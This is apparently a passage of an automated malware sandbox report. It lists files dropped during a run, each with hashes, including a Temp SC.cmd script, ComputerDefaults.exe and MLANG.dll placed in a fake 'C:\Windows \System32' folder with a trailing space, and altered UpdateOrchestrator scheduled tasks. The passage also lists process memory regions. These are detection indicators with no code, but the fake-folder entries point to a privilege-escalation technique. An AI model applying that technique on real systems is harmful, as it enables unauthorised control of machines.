                                                                                                                                                  fef5a2544544ea90d5c8eba889ca2bf52659ab26c16dd1d31460b176d9287810742f1b70f91c0606566ad5c5e111be5cd771e41d8db574576090f829656c9093

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                  Filesize

                                                                                                                                                  2KB

                                                                                                                                                  MD5

                                                                                                                                                  440cb38dbee06645cc8b74d51f6e5f71

                                                                                                                                                  SHA1

                                                                                                                                                  d7e61da91dc4502e9ae83281b88c1e48584edb7c

                                                                                                                                                  SHA256

                                                                                                                                                  8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

                                                                                                                                                  SHA512

                                                                                                                                                  3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                  Filesize

                                                                                                                                                  53KB

                                                                                                                                                  MD5

                                                                                                                                                  a26df49623eff12a70a93f649776dab7

                                                                                                                                                  SHA1

                                                                                                                                                  efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                                                                                  SHA256

                                                                                                                                                  4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                                                                                  SHA512

                                                                                                                                                  e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                  Filesize

                                                                                                                                                  1KB

                                                                                                                                                  MD5

                                                                                                                                                  a0cb52ecad11458881d7edfc499c4053

                                                                                                                                                  SHA1

                                                                                                                                                  eda74aa1fa1b46fdbf5befc3d9843e98eb06b02b

                                                                                                                                                  SHA256

                                                                                                                                                  c96df62683d2b79ca4b1a97bcc247de6822a7bd8eb3f7de533caf198509a6f5b

                                                                                                                                                  SHA512

                                                                                                                                                  8a9c2126701b9324e5bb770b13673ba412445dc095a2c016234198d95111c28b96d2bef0172b43c34215824922d4ed5aa8707f8dc6f0535c1be5b0f506063467

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                  Filesize

                                                                                                                                                  1KB

                                                                                                                                                  MD5

                                                                                                                                                  9d662ecae338ca923a784422a86e9925

                                                                                                                                                  SHA1

                                                                                                                                                  ccdbbd6f3a1801b13f503d92f5d48fe5041ab495

                                                                                                                                                  SHA256

                                                                                                                                                  af4b4d21aa532d4ca4638e2d3c9a07760dfeb65fbe782319860130ba09b62d6e

                                                                                                                                                  SHA512

                                                                                                                                                  5455380e241bd3f697a8697cac7bcce54a1dc323d33995067407bc92858bc2d2216f092cce674a87f3b2d9f34b61bb5b7b13c1b57d511f1540123d38cc7bf38e

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                  Filesize

                                                                                                                                                  944B

                                                                                                                                                  MD5

                                                                                                                                                  380007fbdf9fef355db2afd71fce9cd1

                                                                                                                                                  SHA1

                                                                                                                                                  e98802ef10fac8ef96a3210930784c317ca76fa0

                                                                                                                                                  SHA256

                                                                                                                                                  6353a11014d2c1495ac7a5efef195d06d8e8b30a163c437263361deb5a28de03

                                                                                                                                                  SHA512

                                                                                                                                                  9790c6b4c16ed4f4e6cddf492d01a6b4963e20bde6ddf40017db20ffc672b0cfaea2ad6aebcb51e8e459682974be0d024b35546aad840051a1e9fe2d3e565bd5

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                  Filesize

                                                                                                                                                  944B

                                                                                                                                                  MD5

                                                                                                                                                  28960b97082c0672f10c400a39d01a30

                                                                                                                                                  SHA1

                                                                                                                                                  9ecc5627915ef1ca2ce78019f575574fd0bd4e25

                                                                                                                                                  SHA256

                                                                                                                                                  c18f62539bb72644b8aa389a623770348e0fa19f1ef6ae6192e7d59975fcafa8

                                                                                                                                                  SHA512

                                                                                                                                                  74529db64b20232c33b69c40b0838dd4bcf9f5f20ab52c2734f54bcbdc60dc64c840ef022545e267008686ae1d524aa82ee44f6e26a07df9e0e363b0e7eb1985

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                  Filesize

                                                                                                                                                  1KB

                                                                                                                                                  MD5

                                                                                                                                                  927e70b299e3e9235bbaa00804a3dce4

                                                                                                                                                  SHA1

                                                                                                                                                  01f3f9729553ebddd687c239365a5ba8873cc154

                                                                                                                                                  SHA256

                                                                                                                                                  3d0e2b79b487bbbe55aba679d3c0e3d117b71f14ec1c32ebebf73ee5f74bdc62

                                                                                                                                                  SHA512

                                                                                                                                                  19456015d66b24bfe86d0878b24b93f8672dd34cc4a049883f2e7562835cb591fdaa165ee82feb8888a699471ae9b5321997863880518a46c4b7a2a1d908b61c

                                                                                                                                                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                                  Filesize

                                                                                                                                                  330B

                                                                                                                                                  MD5

                                                                                                                                                  055924661bcf6cac96afa82e73f3118d

                                                                                                                                                  SHA1

                                                                                                                                                  c865369cb90577e65340a52fcd62ee4d308eb04c

                                                                                                                                                  SHA256

                                                                                                                                                  31bc0e4386abfc036a7d351b8b0f915079005385614aa1ca79b623fa4cf5782a

                                                                                                                                                  SHA512

                                                                                                                                                  7310ec925910bcd5a3b1049d6e2a4bf2f90b2303110d51689ecdce0b5ea69caad8e5b015114c454a32426548db16619dfeafe009c664c8078d5890e60d31535d

                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\SC.cmd

                                                                                                                                                  Filesize

                                                                                                                                                  376KB

                                                                                                                                                  MD5

                                                                                                                                                  121a69448e9f5eef0ba4c1229b471208

                                                                                                                                                  SHA1

                                                                                                                                                  90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0

                                                                                                                                                  SHA256

                                                                                                                                                  b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a

                                                                                                                                                  SHA512

                                                                                                                                                  c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d

                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qwkhgtcc.0xr.ps1

                                                                                                                                                  Filesize

                                                                                                                                                  60B

                                                                                                                                                  MD5

                                                                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                  SHA1

                                                                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                  SHA256

                                                                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                  SHA512

                                                                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                • C:\Windows \System32\ComputerDefaults.exe

                                                                                                                                                  Filesize

                                                                                                                                                  80KB

                                                                                                                                                  MD5

                                                                                                                                                  d25a9e160e3b74ef2242023726f15416

                                                                                                                                                  SHA1

                                                                                                                                                  27a9bb9d7628d442f9b5cf47711c906e3315755b

                                                                                                                                                  SHA256

                                                                                                                                                  7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c

                                                                                                                                                  SHA512

                                                                                                                                                  bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910

                                                                                                                                                • C:\Windows \System32\MLANG.dll

                                                                                                                                                  Filesize

                                                                                                                                                  122KB

                                                                                                                                                  MD5

                                                                                                                                                  0b62c554572e9d2dfc51b6367c34700f

                                                                                                                                                  SHA1

                                                                                                                                                  1a41693552101c650aeeffe9dc9f1c7f7553dd7b

                                                                                                                                                  SHA256

                                                                                                                                                  b05a80ef8ad197ee36620655100e1fd4111ec946a9f012970da4c61d8da43ded

                                                                                                                                                  SHA512

                                                                                                                                                  765e2f686a74804063b1face147a2dfd4cac85fb8273b5b0ccbd7606e46fce9865d5bbeeca40af31a8b584dc0bba1ebc0ff3fa8c1993da08a4b09cd15a394ce9

                                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                                  Filesize

                                                                                                                                                  2KB

                                                                                                                                                  MD5

                                                                                                                                                  8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                                  SHA1

                                                                                                                                                  98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                                  SHA256

                                                                                                                                                  ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                                  SHA512

                                                                                                                                                  c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                                  Filesize

                                                                                                                                                  2KB

                                                                                                                                                  MD5

                                                                                                                                                  f313c5b4f95605026428425586317353

                                                                                                                                                  SHA1

                                                                                                                                                  06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                                  SHA256

                                                                                                                                                  129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                                  SHA512

                                                                                                                                                  b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                                  Filesize

                                                                                                                                                  2KB

                                                                                                                                                  MD5

                                                                                                                                                  ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                                                  SHA1

                                                                                                                                                  a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                                                  SHA256

                                                                                                                                                  98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                                                  SHA512

                                                                                                                                                  1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                                  Filesize

                                                                                                                                                  2KB

                                                                                                                                                  MD5

                                                                                                                                                  7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                                  SHA1

                                                                                                                                                  63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                                  SHA256

                                                                                                                                                  727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                                  SHA512

                                                                                                                                                  f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                                  Filesize

                                                                                                                                                  2KB

                                                                                                                                                  MD5

                                                                                                                                                  1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                                                  SHA1

                                                                                                                                                  5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                                                  SHA256

                                                                                                                                                  55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                                                  SHA512

                                                                                                                                                  5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                                  Filesize

                                                                                                                                                  2KB

                                                                                                                                                  MD5

                                                                                                                                                  0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                                  SHA1

                                                                                                                                                  9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                                  SHA256

                                                                                                                                                  a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                                  SHA512

                                                                                                                                                  c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                                • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                                  Filesize

                                                                                                                                                  330B

                                                                                                                                                  MD5

                                                                                                                                                  4d0e9bf5a2859b3f44216668596578d4

                                                                                                                                                  SHA1

                                                                                                                                                  13ac5a8203567bf5a2ddecf4b93f75a6925c7049

                                                                                                                                                  SHA256

                                                                                                                                                  5a53eb231b6ad98d69ba922e74c2fc5f13c6846b897eaf984eb52ca006174f7d

                                                                                                                                                  SHA512

                                                                                                                                                  fecf9f1cc25bf41165438852b419f371efbb6d52b3c5a6ffc60ea8ca587ad84c08d065a57d9ea81213786bf8787540eb1db9f0e9ba447d1c24b8adb0d60c7304

                                                                                                                                                • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                                  Filesize

                                                                                                                                                  330B

                                                                                                                                                  MD5

                                                                                                                                                  7aae1e796cc4dd8e3131ca1316ba09ad

                                                                                                                                                  SHA1

                                                                                                                                                  faa1ba90b6b8d3a7e8a50f4a6f1940385924c601

                                                                                                                                                  SHA256

                                                                                                                                                  09ba892bf451c672b1e837ab1865158f5c05fff8b4adb3399d95bab98979eea5

                                                                                                                                                  SHA512

                                                                                                                                                  8c1b94093f5cf662a721fb98da3bad4c99a29a2f9a5665cac997f6abd571c79109aefd885e565c54c356c2762074fb7c167134ad99d55010b1384af1e3c64882

                                                                                                                                                • memory/1052-158-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/1076-164-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/1452-155-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/1700-55-0x00007FFC85250000-0x00007FFC85445000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.0MB

                                                                                                                                                • memory/1700-56-0x00007FFC83890000-0x00007FFC8394E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  760KB

                                                                                                                                                • memory/1700-132-0x000001EC9C1F0000-0x000001EC9C1FE000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  56KB

                                                                                                                                                • memory/2088-18-0x000001B5FB890000-0x000001B5FB8D8000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  288KB

                                                                                                                                                • memory/2088-320-0x00007FFC66ED0000-0x00007FFC67991000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/2088-0-0x00007FFC66ED3000-0x00007FFC66ED5000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  8KB

                                                                                                                                                • memory/2088-16-0x00007FFC85250000-0x00007FFC85445000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.0MB

                                                                                                                                                • memory/2088-17-0x00007FFC83890000-0x00007FFC8394E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  760KB

                                                                                                                                                • memory/2088-15-0x000001B5FB4B0000-0x000001B5FB4C0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/2088-14-0x000001B5FB910000-0x000001B5FB986000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  472KB

                                                                                                                                                • memory/2088-13-0x000001B5FB840000-0x000001B5FB884000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  272KB

                                                                                                                                                • memory/2088-12-0x00007FFC66ED0000-0x00007FFC67991000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/2088-11-0x00007FFC66ED0000-0x00007FFC67991000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/2088-6-0x000001B5FB350000-0x000001B5FB372000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  136KB

                                                                                                                                                • memory/2164-159-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/2516-163-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/2532-30-0x00007FFC66ED0000-0x00007FFC67991000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/2532-33-0x00007FFC66ED0000-0x00007FFC67991000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/2532-29-0x00007FFC66ED0000-0x00007FFC67991000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/2532-24-0x00007FFC66ED0000-0x00007FFC67991000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/2744-161-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/2752-160-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/2848-157-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/2908-165-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/2928-162-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/3436-156-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/3460-153-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/3460-105-0x0000000002D00000-0x0000000002D2A000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

                                                                                                                                                • memory/3724-154-0x00007FFC452D0000-0x00007FFC452E0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB